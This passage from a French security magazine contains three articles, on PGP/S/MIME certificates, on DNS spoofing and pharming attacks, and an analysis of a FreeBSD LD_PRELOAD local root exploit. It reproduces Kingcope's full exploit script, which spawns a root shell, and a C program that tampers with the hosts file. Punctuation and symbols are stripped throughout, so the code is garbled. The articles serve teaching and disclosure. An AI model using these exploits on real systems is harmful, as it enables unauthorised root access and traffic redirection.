bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

